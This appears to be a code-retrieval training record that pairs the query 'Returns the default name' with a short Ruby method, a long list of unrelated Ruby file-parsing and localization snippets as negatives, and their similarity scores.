"def parse_multifile(filename: \"\", type: \"old\")\r\n !filename.empty? ? file = File.binread(filename) : return\r\n case type\r\n when \"old\"\r\n file.split(\"\\n\").map(&:strip).reject(&:empty?).map{ |m|\r\n title = m.split('#')[0][1..-1] rescue \"\"\r\n author = \"Metanet Software\"\r\n map = parse_map(data: m.split(\"#\")[1], type: \"old\") rescue {tiles: [], objects: []}\r\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\r\n }\r\n else\r\n print(\"ERROR: Incorrect type (old).\")\r\n return 0\r\n end\r\nend",
"def read_summary(fname)\n hash={}\n # Read file\n File.open(fname,'r') do |f|\n # Loop over line\n f.each_line do |line|\n line.chomp!\n index,content = line.split(/\\s*==\\s*/)\n hash[index] = content # index:id, content:path\n end\n end\n return hash\nend",
"def parse_android_control_file(filename)\n\t\t#If the file name is invalid, exit prematurely\n\t\tif filename == nil || filename == \"\" then\n\t\t\tputs \"Invalid filename provided.\"\n\t\t\treturn 0\n\t\tend\n\t\t\n\t\tcontents = []\n\t\tbegin\n\t\t\tputs \"Loading: \" + filename\n\t\t\tif File.exists? filename then\n\t\t\t\tfile = File.open(filename, \"r\").each_line do |line|\n\t\t\t\t\tcontents += line.gsub(/\\s+/, \"\").split(\",\")\n\t\t\t\tend\n\t\t\tend\n\t\tensure\n\t\t\tputs \"Closing File: \" + filename\n\t\t\tfile.close unless file.nil?\n\t\tend\n\t\t\n\t\tputs \"Done Reading file.\"\n\t\treturn contents\n\tend",
"def test_get_localized_strings_from_line_single\n line = 'label1.text = NSLocalizedString(\"English Label 1\", comment: \"日本語のラベル1\")'\n strings = Swiftlocalizer::Command.get_localized_strings_from_line(line, 'dummy.txt', 100)\n assert_equal(1, strings.size)\n# p strings[0]\n assert_equal(\"English Label 1,日本語のラベル1,dummy.txt,100\", strings[0].to_s)\n end",
"def strings_file\n @strings_file ? @strings_file.dup : nil\n end",
"def parse_text\n text.split(\"\\n\").map { |r| r.scan(/.../) } \n end",
"def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end",
"def parse(config_file)\n open(config_file) do |f|\n parse_string(f.read, config_file)\n end\n end",
"def populate(file)\n words = file.split(\"\\n\")\n insert_words(words)\n end",
"def parse(str); end",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def parse_multifile(filename: \"\", type: \"old\")\n !filename.empty? ? file = File.binread(filename) : return\n case type\n when \"old\"\n file.split(\"\\n\").map(&:strip).reject(&:empty?).map{ |m|\n title = m.split('#')[0][1..-1] rescue \"\"\n author = \"Metanet Software\"\n map = parse_map(data: m.split(\"#\")[1], type: \"old\") rescue {tiles: [], objects: []}\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\n }\n else\n print(\"ERROR: Incorrect type (old).\")\n return 0\n end\nend",
"def load_words\n File.readlines(\"#{WORD_DIR}/#{language}.txt\").map(&:strip)\n end",
"def read_tokens()\n\n # By adding @ to tokens, we're saving it also in the instance. We're not\n # going to use that, but it might be useful later.\n @tokens = []\n\n File.open(@filename) do |input_file|\n input_file.each do |line|\n line.split.each do |word|\n word = normalize(word)\n @tokens << word unless word.empty?\n end\n end\n end\n\n @tokens\n end",
"def getFileContents(file)\n fileContent = \"\";\n File.open(file).each do |line|\n fileContent += line;\n end\n fileContent;\nend",
"def read_file\n match_file = File.new(\"matches.txt\", \"r\")\n no_of_match = match_file.gets\n if no_of_match != nil\n for i in 0..no_of_match.to_i - 1\n match_result = match_file.gets\n @matchesarr << match_result\n end\n end\n match_file.close\n end",
"def read_from_file(filename) # Input existing file\n IO.readlines(filename).each do |line|\n status, *description = line.split(':')\n status = status.upcase.include?('X')\n add(Task.new(description.join(':').strip, status))\n puts line\n end # End of input, output\n end",
"def parse_file(file)\n if file && !file.instance_of?(String)\n parse_contents(file)\n elsif file.instance_of?(String)\n data = File.read(file)\n parse_contents(data)\n else\n self.load_errors = \"No file was selected to upload.\"\n end\n end",
"def parse_text(text)\n\n end",
"def load1\nf = File.read(@filename)\nf.each_line do |line|\nif line.match('#undone')\n@pending << line\nelse\n@completed << line\nend\nend\nreturn @pending\nend",
"def parse_file(file_path)\n Cabrillo.parse(IO.read(file_path))\n end",
"def parse_file!(file, arg={})\n spx = ICU::Util::File.read_utf8(file)\n arg[:is_utf8] = true\n parse!(spx, arg)\n end",
"def parse\n @parsed_values = {}\n @buffer = {}\n @last_key_type = \"\"\n @errors = []\n File.foreach(@path_to_po) do |line|\n line = line.chomp\n case line\n # Empty lines means we have parsed one full message\n # so far and need to flush the buffer\n when /^$/ then flush_buffer\n\n # These are the po file comments\n # The second '#' in the following regex is in square brackets\n # b/c it messed up my syntax highlighter, no other reason.\n when /^(#[^~]|[#]$)/ then next\n\n when /^(?:#~ )?msgctxt\\s+(.*)/ then add_to_buffer($1, :msgctxt)\n\n when /^(?:#~ )?msgid\\s+(.*)/ then add_to_buffer($1, :msgid)\n\n when /^(?:#~ )?msgid_plural\\s+(.*)/ then add_to_buffer($1, :msgid_plural)\n\n when /^(?:#~ )?msgstr\\s+(.*)/ then add_to_buffer($1, :msgstr_0)\n\n when /^(?:#~ )?msgstr\\[0\\]\\s+(.*)/ then add_to_buffer($1, :msgstr_0)\n\n when /^(?:#~ )?msgstr\\[(\\d+)\\]\\s+(.*)/ then add_to_buffer($2, \"msgstr_#{$1}\".to_sym)\n\n when /^(?:#~ )?\"/ then add_to_buffer(line)\n\n else\n @errors << [\"Strange line #{line}\"]\n end\n end\n\n # In case the file did not end with a newline, we want to flush the buffer\n # one more time to write the last message too.\n flush_buffer\n\n # This will turn the header values into a friendlier json structure too.\n parse_header_lines\n\n return @parsed_values\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def parse_file path\n self.filename = path\n open path do |f|\n parse f.read\n end\n end",
"def load_from(file)\n open(file) do |io|\n io.each do |line|\n line.strip!\n next if line.empty? || /^#/ === line\n register *line.split(/\\s+/)\n end\n end\n true\n end",
"def parse_file(filename)\n File.open(filename, 'r') { |f| parse f }\n end",
"def parse(filename)\n result = []\n File.open(filename,'r') do |file|\n for line in file\n result << line.split(' ').map(&:to_i)\n end\n end\n result\nend",
"def parse filename\n clear\n File.open filename do |f|\n f.each_line &method(:parse_line)\n end\n self\n end",
"def parse(s)\n s = clean(s)\n\n words = s.split(' ')\n\n result = []\n\n while !words.empty?\n if words[0] =~ URL_REGEX\n # <url> <text>\n result << {url: read_url(words), text: trim_to_nil(read_text(words))}\n else\n # <text> <url> [<accessed note>]\n entry = read_text(words)\n url = read_url(words)\n accessed_note = read_accessed_note(words)\n if accessed_note\n entry += ' ' + accessed_note\n end\n\n result << {url: url, text: trim_to_nil(entry)}\n end\n end\n\n result\n end",
"def space_file_parser\n @space_names = File.open(\"text_files/space.txt\").readlines.each do |line|\n if line.include?(\"\\n\")\n line.gsub!(/\\n/, '')\n else\n line\n end\n end\nend",
"def read_taskwarrior_file(file)\n tasks = []\n open(file).each_line do |l|\n l = l.encode('UTF-8', :invalid => :replace, :undef => :replace, :replace => 'X')\n t = l.scan( /\\w+:\".+?\"/ ).collect{|i| \n k, v = i.split(':', 2)\n [k.to_sym, v.gsub(/\\A\"|\"\\Z/,'')] \n } \n t = Hash[t]\n t[:tags] = t[:tags].strip.split(\",\") if t[:tags]\n t[:entry] = t[:entry].to_i\n t[:end] = t[:end].to_i if t[:end]\n tasks << t\n end if File.file? file\n tasks\n end",
"def load_lines file\n\n\t\tlines = Array.new\n\t\tlines = @file.split(\"\\n\")\n\n\t\t#fuck that, i dont like the dyanmic feed, just pre-parse it\n\t\tlines.map! do |line| #map overwrites the old array\n\t\t\tif line.include? '#'\n\t\t\t\tsplit = line.split '#'\n\t\t\t\t#puts split.to_s\n\t\t\t\tsplit.shift\n\t\t\telse\n\t\t\t\tline\n\t\t\tend\n\t\tend\n\n\t\t#removing blank lines\n\t\tlines.delete_if do |line|\n\t\t\ttrue if line.empty?\n\t\tend\n\n\t\tlines.each { |line| line.chomp! }\n\n\t\tlines\n\tend",
"def parsef!(file: \"\")\n types = @type ? [@type] : VALID_TASKS\n\n File.open(file, \"r\") do |f|\n line_number = 1\n while line = f.gets\n types.each do |type|\n result = line.match(/#{Regexp.escape(type)}[\\s,:-]+(\\S.*)\\Z/) rescue nil\n\n unless result.nil?\n task = {\n file: file,\n line_number: line_number,\n task: result.to_a.last\n }\n\n @tasks[type.to_sym] << task\n end\n end\n\n line_number += 1\n end\n end\n end",
"def read(path)\n File.open(path) do |f|\n until f.eof?\n line = f.gets.chomp\n next if line.empty? || line =~ /^%%/\n yield line.split(/\\t/).map! { |s| s.empty? ? nil : s }\n end\n end\n end",
"def readFile( file_String)\r\n @chat_response_hash = Hash.new()\r\n chat_File = IO.readlines(file_String)\r\n arr = Array.new()\r\n arr1 = Array.new()\r\n chat_File.each { |line|\r\n #puts line\r\n arr = line.split(\":\")\r\n if (arr[0].length != 1)\r\n @chat_response_hash[arr[0]] = arr[1]\r\n end\r\n }\r\n end",
"def read_from_file(filename)\n\t\tIO.readlines(filename).each{ |line|\n\t\t\t*description, status = line.split(':')\n\t\t\tstatus = status.include?('X')\n\t\t\tadd(Task.new(description.join(':').strip, status))\n\t\t}\n\tend",
"def read(file)\n content_set = Set.new\n open(file) do |line|\n next if line.nil?\n content_set << \"#{line}\"\n end\n content_set.to_a.join(\"\\n\")\n end",
"def read_from_file\n commands = []\n File.readlines(@location).each { |line| commands << line.strip }\n commands\n end",
"def scanner\n @sentences ||= File.open(@path) do |file|\n file.each_line.each_with_object([]) do |line, acc|\n stripped_line = line.strip\n\n unless stripped_line.nil? || stripped_line.empty?\n acc << line.split(' ').map do |word|\n word.split('/').first\n end.join(' ')\n end\n end\n end\n\n end",
"def readFile()\n\t#This is assuming the file name will be used\n\tfilename = 'names-data.txt'\n\topen(filename, 'r') {|f| f.read}\nend",
"def parse (filename)\n f = File.open(filename)\n f.each do\t|line|\n next if line =~ /^#/\n sym, val = line.split(':')\n sym_strip = sym.gsub(/\\s+/, \"\").strip\n val_strip = val.strip\n add_accesor sym_strip, val_strip\n end\n # p \"XMP: file parsed\"\n f.close\n end",
"def parse! filename\n parse_! filename\n end",
"def load_words(file_name)\n words_loaded = []\n File.open(file_name).readlines.each do |line|\n words_loaded << line if line.length.between?(5, 12)\n end\n words_loaded\n end"
] |
[
"0.71552265",
"0.66983837",
"0.65995914",
"0.6521663",
"0.6520932",
"0.64546496",
"0.6415772",
"0.62816495",
"0.6261204",
"0.6225305",
"0.6106197",
"0.6101507",
"0.5940384",
"0.5936521",
"0.5936088",
"0.5916726",
"0.5912572",
"0.5912308",
"0.5878723",
"0.58628976",
"0.5859169",
"0.5846116",
"0.5842969",
"0.58158123",
"0.580483",
"0.580483",
"0.5804342",
"0.57960045",
"0.57808137",
"0.5760735",
"0.5755665",
"0.57091415",
"0.57056916",
"0.56900924",
"0.5657013",
"0.56411123",
"0.56228125",
"0.56200975",
"0.56199497",
"0.56118846",
"0.56109756",
"0.56091756",
"0.55914557",
"0.5584014",
"0.5583137",
"0.5577429",
"0.556984",
"0.55543184",
"0.554888",
"0.55433196",
"0.5538931",
"0.5536329",
"0.5535154",
"0.5535125",
"0.55287564",
"0.5521139",
"0.5501625",
"0.5497986",
"0.5486164",
"0.5484682",
"0.54823357",
"0.54822296",
"0.5475989",
"0.54550165",
"0.54484797",
"0.54473007",
"0.5445473",
"0.5444085",
"0.54417926",
"0.54356176",
"0.5434292",
"0.5434039",
"0.5428145",
"0.54186565",
"0.5417654",
"0.54112136",
"0.54016656",
"0.54016656",
"0.54016656",
"0.54016656",
"0.54016656",
"0.54016656",
"0.5399429",
"0.53956234",
"0.53941137",
"0.53939384",
"0.5389693",
"0.53860396",
"0.53822434",
"0.5380042",
"0.5379315",
"0.5378014",
"0.53769153",
"0.5374626",
"0.5372011",
"0.5359562",
"0.5358275",
"0.5331799",
"0.53313255",
"0.5330811",
"0.5327582"
] |
0.0
|
-1
|
Returns res directory for the mapped locale Base implementation does nothing
|
def directory(_mapped_locale, _is_default)
''
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def resource_root\n FilePath.new(build_module.root, name + \".resources\").canonicalize\n end",
"def locales_path\n unless defined?(@locales_path)\n self.locales_path = \"#{public_path}/#{DEFAULT_LOCALES_LOCATION}\"\n end\n\n @locales_path\n end",
"def get_resource_path\r\n res_path = File.dirname(__FILE__) + \"/../../res\"\r\n return File.expand_path(res_path)\r\n end",
"def output_path\n ::ManageIQ::UI::Classic::Engine.root.join('app/javascript/oldjs/locale')\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def filenames_for_current_locale; end",
"def converted_root\n Pathname(__dir__).parent + \"converted\"\n end",
"def resources_root()\n \"#{project_root}/Resources\"\n end",
"def base_relative_dir\n \t\t@dir.gsub(/^\\//,\"\")\n \tend",
"def relative_directory\n @relative_directory ||= \"_#{label}\"\n end",
"def base_export_dir\n \"#{@directory.slug}_files\"\n end",
"def discover_locale\n locales = Dir[\"#{locale_dir}/*\"]\n locales.map! { |e| File.basename(e) }\n locales.join(\" \")\n end",
"def ri_dir\n @ri_dir ||= File.join base_dir, 'ri', full_name\n end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def base_dir; end",
"def resource_dir\n @resource_dir ||= \"#{test_dir}\"\n end",
"def right_scale_static_state_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'rightscale.d'))\n end",
"def path\n current_localization.path\n end",
"def base_path\n Dir.pwd + \"/\"\n end",
"def default_path\n \"archangel/fallback/\" + [version_name, \"asset.png\"].compact.join(\"_\")\n end",
"def base_dir_for_path_parameters; end",
"def resource_path\n '.' + Dir[File.dirname(__FILE__)][/\\/resource\\/.*/]\n end",
"def directory\n # If MRI and/or non-Bash shell (like cmd.exe)\n # memoize so we only calculate once\n @directory ||= OS_FONT_PATHS[ruby_platform_osname || sys_uname_osname]\n end",
"def base_dir\n raise NotImplementedError\n end",
"def default_directories\n [Texas.contents_subdir_name, \"lib/\", Texas.texas_dir]\n end",
"def resources_path(val = NULL)\n if null?(val)\n @resources_path || \"#{Config.project_root}/resources/#{name}\"\n else\n @resources_path = File.expand_path(val)\n end\n end",
"def resources_path(val = NULL)\n if null?(val)\n @resources_path || \"#{Config.project_root}/resources/#{name}\"\n else\n @resources_path = File.expand_path(val)\n end\n end",
"def application_mode_file_path locale = locale\n File.join(Translate::Storage.root_dir, \"config\", \"locales\", \"#{locale}.yml\")\n end",
"def base_dir\n return Gem.dir unless loaded_from\n @base_dir ||= if default_gem? then\n File.dirname File.dirname File.dirname loaded_from\n else\n File.dirname File.dirname loaded_from\n end\n end",
"def _relative_path\n if _is_root?\n nil\n else\n self.class.name.demodulize.underscore\n end\n end",
"def metas_path(locale)\n # TODO: Let user configure it.\n Rails.root.join('config', 'metaslug', \"#{locale}.yml\")\n end",
"def project_dir(lang = \"en\")\n File.join(self.source_dir,self.rez_base,ResourceSquasher.project_name,lang)\n end",
"def subdir\n if core_project? or 'profile' == proj_type\n return @local_path.parent.relative_path_from(@platform.local_path + (proj_type + 's'))\n else\n return @local_path.parent.relative_path_from(@platform.local_path + @platform.contrib_path + (proj_type + 's'))\n end\n end",
"def get_base\n # See if we need to extend the base_dir\n if @config['base']\n extended_base = File.expand_path(File.join(@real_base, @config['base']))\n if File.directory? extended_base\n @base_dir = extended_base\n else\n puts \"Your base directory doesn't exist: #{extended_base}\"\n exit 1\n end\n end\n end",
"def dir\n Rails.root.join(ROOT, type, name).to_s\n end",
"def resource_template_dir\n \"#{App.config.resource_directory}/templates\"\n end",
"def locale_file_path(locale)\n \"config/locales/#{locale}.yml\"\n end",
"def company_program_files_dir\n return pretty_path(File.join(Dir::PROGRAM_FILES, 'RightScale'))\n end",
"def resources_dir\n File.expand_path(\"#{staging_dir}/Resources\")\n end",
"def localeList\n\t\t\t@locales = []\n\t\t\tbasedir = Dir.new(@basepath)\n\t\t\tbasedir.each do |fn|\n\t\t\t\tif File.file?(@basepath + \"/\" + fn) && fn.split('.')[1] == 'sllf'\n\t\t\t\t\t@locales << File.basename(fn, \".sllf\")\n\t\t\t\tend\n\t\t\tend\n\t\t\t@locales\n\t\tend",
"def corresponding_primary_content_type_base_dir\n # OPTIMIZE: Can we replace this method with #corresponding_content_type_base_dir_in_other_repo ?\n File.expand_path(\n config_setting(:relative_path_to_primary_content_type),\n config_base_dir(:content_type_dir)\n ) + '/'\n end",
"def get_files\n self.locales.each do |l|\n self.files[l] = Dir.glob(\"#{self.locale_dir}/*#{l}.#{self.source_format}\")\n\n next if l == self.default_locale\n\n self.files[self.default_locale].each do |original_file|\n locale_file = original_file.gsub(\"#{self.default_locale}.#{self.source_format}\", \"#{l}.#{self.source_format}\")\n\n next if self.files[l].include?(locale_file)\n\n create_locale_file(locale_file, original_file)\n\n self.files[l] << locale_file\n end\n end\n end",
"def dir_path(locale, category, section = nil, article = nil)\n # each resource has an id and name attribute\n # let's use this to build a path where we can store the actual data\n log(\" buidling dir_path for #{[locale, category, section, article].compact.map{|r| r['name']}}\", :verbose)\n [locale, category, section, article].compact.inject(\"./\") do |dir_path, resource|\n # check if we have existing folder that needs to be renamed\n path_to_append = output_type == :slugified ? \"#{resource['id']}-#{slugify(resource['name'])}\" : \"#{resource['id']}\"\n rename_dir_or_file_starting_with_id!(dir_path, resource['id'], path_to_append)\n # build path and check if folder exists\n log(\" #{path_to_append} appended to #{dir_path}\", :verbose)\n dir_path += path_to_append + \"/\"\n Dir.mkdir(dir_path) unless File.exists?(dir_path)\n # end point is begin point of next iteration\n dir_path\n end\n end",
"def object_dir\n ::File.join(new_resource.config_home, type_from_name) + 's'\n end",
"def default_dir(dir)\n Pathname(dir || Pathname.getw)\n end",
"def base_directory\n @base_directory\n end",
"def resources_path\n File.expand_path(File.join(File.dirname(__FILE__), \"..\", \"resources\"))\n end",
"def base_dir(dir_name)\n File.expand_path(dir_name)\n end",
"def yaml_path\n File.join(base_path, \"resource_map.yml\")\n end",
"def rails_localization_files\n loc_files = Dir[File.join( RAILS_ROOT, '/vendor/plugins/globalite/lang/rails/', '*.{yml,yaml}')]\n end",
"def default_path\n \"archangel/\" + [version_name, \"asset.png\"].compact.join(\"_\")\n end",
"def use_default_locale_template_path(page, locale)\n paths = page.template_path\n\n if paths[locale] == false\n paths[locale] = paths[default_locale]\n end\n end",
"def relative_directory; end",
"def rc_dirs; end",
"def source_code_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'src'))\n end",
"def resources_path\n base_path = if project.resources_path\n project.resources_path\n else\n project.files_path\n end\n\n File.expand_path(File.join(base_path, underscore_name, 'Resources'))\n end",
"def runtime_dir\n File.join(@full_path, RUNTIME_DIR)\n end",
"def po_dir; end",
"def results_dir\n if ::File.directory?(::File.join(hab_studio_path, 'src', 'results'))\n ::File.join(hab_studio_path, 'src', 'results')\n else\n ::File.join(new_resource.cwd, 'results')\n end\n end",
"def resources_path\n NSBundle.mainBundle.resourcePath\n end",
"def system_path\n File.join adapter_path, relative_folder\n end",
"def icondir ; @icondir ||= './' ; end",
"def localize_path(path, lang = current_language)\n\n # no localization for 'special' case\n return path if !lang || EMPTY_LANGUAGE == lang\n\n # we only localize absolute path/url, like /support\n # we don't localize full urls like http://google.com\n return path unless path[0] == ?/\n\n # don't localize if already localized, duh!\n return path if path[0..5] == '/intl/'\n\n \"/intl/#{lang}#{path}\"\n end",
"def spool_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'spool'))\n end",
"def dir_base\n File.expand_path(File.dirname(__FILE__)+\"/../..\")\n end",
"def current_path_without_locale(path)\n locale_pattern = /^(\\/)(en|sv)?(\\/)?(.*)$/\n path.gsub(locale_pattern, '\\1\\4')\n end",
"def dirname\n transliterate(super).downcase\n end",
"def find_default_ca_path; end",
"def cache_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'cache'))\n end",
"def process_locale(locale)\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(\"#{locale}_tmp\")\n\n # Remove temporary directory if it exists\n FileUtils.rm_rf output_dir\n\n # Output results to temporary directory\n Dir[templ_dir.join('**/*.yml')].each do |f|\n process_file(\n Pathname.new(f).relative_path_from(templ_dir), # Filename\n locale, # Locale\n \"#{locale}_tmp\" # Output locale \n )\n end\n\n # Override the locales folder\n FileUtils.rm_rf local_dir\n FileUtils.mv output_dir, local_dir\n end",
"def path\n File.join( File::SEPARATOR+'layouts', \"t#{self.theme_id}_r#{self.id}\")\n end",
"def applicationFilesDirectory\n fileManager = OSX::NSFileManager.defaultManager\n appsupportURL = fileManager.URLsForDirectory_inDomains_(OSX::NSApplicationSupportDirectory, OSX::NSUserDomainMask).lastObject\n return appsupportURL.URLByAppendingPathComponent_(\"cx.ath.larmeh.NmapR\")\n end",
"def get_local_dir\n return @resource[:local_dir]\n end",
"def base_dir_for_path_parameters\n @base_dir_for_path_parameters ||=\n if File.basename(loaded_path).start_with?('.rubocop') &&\n loaded_path != File.join(Dir.home, ConfigLoader::DOTFILE)\n File.expand_path(File.dirname(loaded_path))\n else\n Dir.pwd\n end\n end",
"def base_dir_for_path_parameters\n @base_dir_for_path_parameters ||=\n if File.basename(loaded_path).start_with?('.rubocop') &&\n loaded_path != File.join(Dir.home, ConfigLoader::DOTFILE)\n File.expand_path(File.dirname(loaded_path))\n else\n Dir.pwd\n end\n end",
"def default_path\n Pathname.pwd.join(*base_config_path, self.class.config_folder)\n end",
"def files_dir\n return File.absolute_path(File.join(@root_dir, 'weather'))\n end",
"def ruta_externa\n @base = \"http://www.gis3.com\"\n\n if I18n.locale == :es\n return @base + '/espanol'\n\n elsif I18n.locale == :en\n return @base + '/english'\n\n end\n\n end",
"def primary_repo_base_dir\n File.expand_path(\n setting(:relative_path_to_primary_repo),\n base_dir(:rtfile_dir)\n ).sub(/\\/?\\z/, '') + '/'\n end",
"def sap_media_dir\n ::File.join(cache, 'sap_media')\n end",
"def right_link_static_state_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'rightscale.d', 'right_link'))\n end",
"def base_dir\r\n datastore['WritableDir']\r\n end",
"def localize_fullpath(locales = nil)\n locales ||= self.translated_in\n _parent_fullpath = self.parent.try(:fullpath)\n _fullpath, _slug = self.fullpath, self.slug\n\n locales.each do |locale|\n Locomotive::Mounter.with_locale(locale) do\n if _fullpath == 'index'\n self.fullpath = 'index'\n elsif _parent_fullpath == 'index'\n self.fullpath = self.slug || _slug\n else\n self.fullpath = File.join(parent.fullpath || _parent_fullpath, self.slug || _slug)\n end\n end\n end\n end",
"def system_path( type )\n paths = {\n :documents => NSDocumentDirectory,\n :autosaved_information => NSAutosavedInformationDirectory,\n :caches => NSCachesDirectory,\n :application_support => NSApplicationSupportDirectory,\n :downloads => NSDownloadsDirectory,\n :item_replacement => NSItemReplacementDirectory\n }\n return nil unless paths.has_key? type\n\n url = NSFileManager.defaultManager.URLsForDirectory(paths[type],\n inDomains: NSUserDomainMask).first\n return nil if url.nil?\n\n url.fileSystemRepresentation\n end",
"def ui_localization_files\n loc_files = Dir[File.join(RAILS_ROOT, 'lang/ui/', '*.{yml,yaml}')]\n unless @@localization_sources.empty?\n @@localization_sources.each do |path|\n loc_files += Dir[File.join(path, '*.{yml,yaml}')]\n end\n end\n loc_files\n end",
"def dir\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Fs::Dir)\n\tend",
"def file_dir # :nodoc:\n nil\n end",
"def locale_path(locale)\n locale_regexp = %r{/(en|de)/?}\n if request.env['PATH_INFO'] =~ locale_regexp\n \"#{request.env['PATH_INFO']}\".gsub(locale_regexp, \"/#{locale}/\")\n else\n \"/#{locale}#{request.env['PATH_INFO']}\"\n end\n end",
"def base_directories\n @base_dirs ||= names.map { |name| ::Gem::Specification.find_by_name(name).gem_dir }\n end",
"def base_path_for(resource_name)\n {\n 'Role' => 'roles',\n 'Space' => 'spaces',\n 'Asset' => 'assets',\n 'Entry' => 'entries',\n 'Locale' => 'locales',\n 'Upload' => 'uploads',\n 'ApiKey' => 'api_keys',\n 'UIExtension' => 'extensions',\n 'Environment' => 'environments',\n 'ContentType' => 'content_types',\n 'PreviewApiKey' => 'preview_api_keys',\n 'SpaceMembership' => 'space_memberships'\n }[resource_name]\n end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end",
"def base_dir=(_arg0); end"
] |
[
"0.6442619",
"0.6418418",
"0.6209744",
"0.6170908",
"0.60329807",
"0.60329807",
"0.5999955",
"0.59879243",
"0.59687746",
"0.5946484",
"0.59407145",
"0.5913207",
"0.5892395",
"0.5892237",
"0.58596075",
"0.58596075",
"0.58596075",
"0.58596075",
"0.58596075",
"0.58596075",
"0.58596075",
"0.58223325",
"0.5819623",
"0.5779238",
"0.5758765",
"0.57513547",
"0.57207704",
"0.5710758",
"0.57051265",
"0.5690602",
"0.5681433",
"0.5675549",
"0.5675549",
"0.56749743",
"0.5659451",
"0.5652669",
"0.56420887",
"0.5597377",
"0.5593625",
"0.55771124",
"0.5571612",
"0.55567116",
"0.5548348",
"0.5544961",
"0.5543561",
"0.55410576",
"0.5509828",
"0.550852",
"0.5508383",
"0.55042213",
"0.55023617",
"0.550096",
"0.5500733",
"0.54990035",
"0.5485931",
"0.5484789",
"0.54659957",
"0.5465396",
"0.54629105",
"0.54592884",
"0.54428965",
"0.54371035",
"0.5425577",
"0.541824",
"0.5418168",
"0.54067343",
"0.53912914",
"0.53899544",
"0.53846866",
"0.5383764",
"0.53831875",
"0.53768253",
"0.5374084",
"0.53702253",
"0.5358952",
"0.53469336",
"0.534295",
"0.53409934",
"0.53348106",
"0.5329287",
"0.5329287",
"0.5328428",
"0.5327572",
"0.53275114",
"0.5326213",
"0.5325072",
"0.5323811",
"0.53229547",
"0.53145987",
"0.5309587",
"0.53050655",
"0.52880716",
"0.5279882",
"0.52797866",
"0.5278258",
"0.5278257",
"0.5277726",
"0.5277726",
"0.5277726",
"0.5277726"
] |
0.77760965
|
0
|
Returns the default name
|
def default_file_name
''
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_name\n @default_name ||= \"__#{name}_default__\"\n end",
"def default_name\n return unless name\n Dry::Core::Inflector.underscore(name).tr('/', '_').to_sym\n end",
"def default_name\n [long_name, short_name].reject(&:empty?).first\n end",
"def default_name\n [\n instance.name.gsub(/\\W/, '')[0..14],\n (Etc.getlogin || 'nologin').gsub(/\\W/, '')[0..14],\n Socket.gethostname.gsub(/\\W/, '')[0..22],\n Array.new(7) { rand(36).to_s(36) }.join\n ].join('-')\n end",
"def default_name\n debug(\"Instance name: #{instance.name}\")\n \"#{instance.platform.name}-#{Time.now.to_i}\"\n end",
"def default_name\n self.name ||= File.basename(data_file.filename, '.*').titleize if data_file.filename && !self.name\n end",
"def default_name\n path.dirname.basename.to_s\n end",
"def default_name(type)\n name = \"#{type}_#{@number_of_defaults_created[type]}\"\n @number_of_defaults_created[type] += 1\n name\n end",
"def default_name(default=\"Jane Doe\")\n default\nend",
"def default_name\n \tself.name ||= File.basename(self.image.filename, '.*').titleize if self.image_url\n end",
"def preferred_name(default, preferred)\n if default.nil? && preferred.nil?\n 'No one'\n elsif preferred.nil?\n default\n else\n preferred\n end\n end",
"def with_default(name)\n name.include?('::') ? name : \"#{name}::default\"\n end",
"def with_default(name)\n name.include?('::') ? name : \"#{name}::default\"\n end",
"def name(variable=default)\n\t\t ### The last line in here get's returned by default\n\t\tend",
"def display_name\n override_name ||= name\n # default to name if the value of override_name is empty string\n override_name = name if override_name.strip == \"\"\n override_name\n end",
"def default_file_name\n \"#{klass_name.underscore}_#{id}\"\n end",
"def set_default_name \n self.name ||= \"Itinerary\" \n end",
"def default_template_name\n @default_template_name ||= self.class.name.underscore.sub(/_resource$/, '')\n end",
"def generate_default_display_name\n if self.display_name.blank?\n self.display_name = (email.blank? ? \"[no name]\" : self.email.split(\"@\")[0])\n end\n end",
"def default_fauxture_name\n :default\n end",
"def default_name\n \"Dux::NullObject(#{inspect_id(self)})\"\n end",
"def default_external_name\n @default_external_name || DEFAULT_EXTERNAL_NAME\n end",
"def default_male_name\n ext_text(9000, 2)\n end",
"def oo_default_role_name\n name.words.snakecase\n end",
"def base_name\n name\n end",
"def name\n return '_untitled_' if self[:name].blank?\n self[:name]\n end",
"def name\n @name || \"Unspecified\"\n end",
"def default\n find(\"Default\")\n end",
"def name_unless_default\n name == Rack::OAuth.default_instance_name ? nil : name\n end",
"def name\n ''\n end",
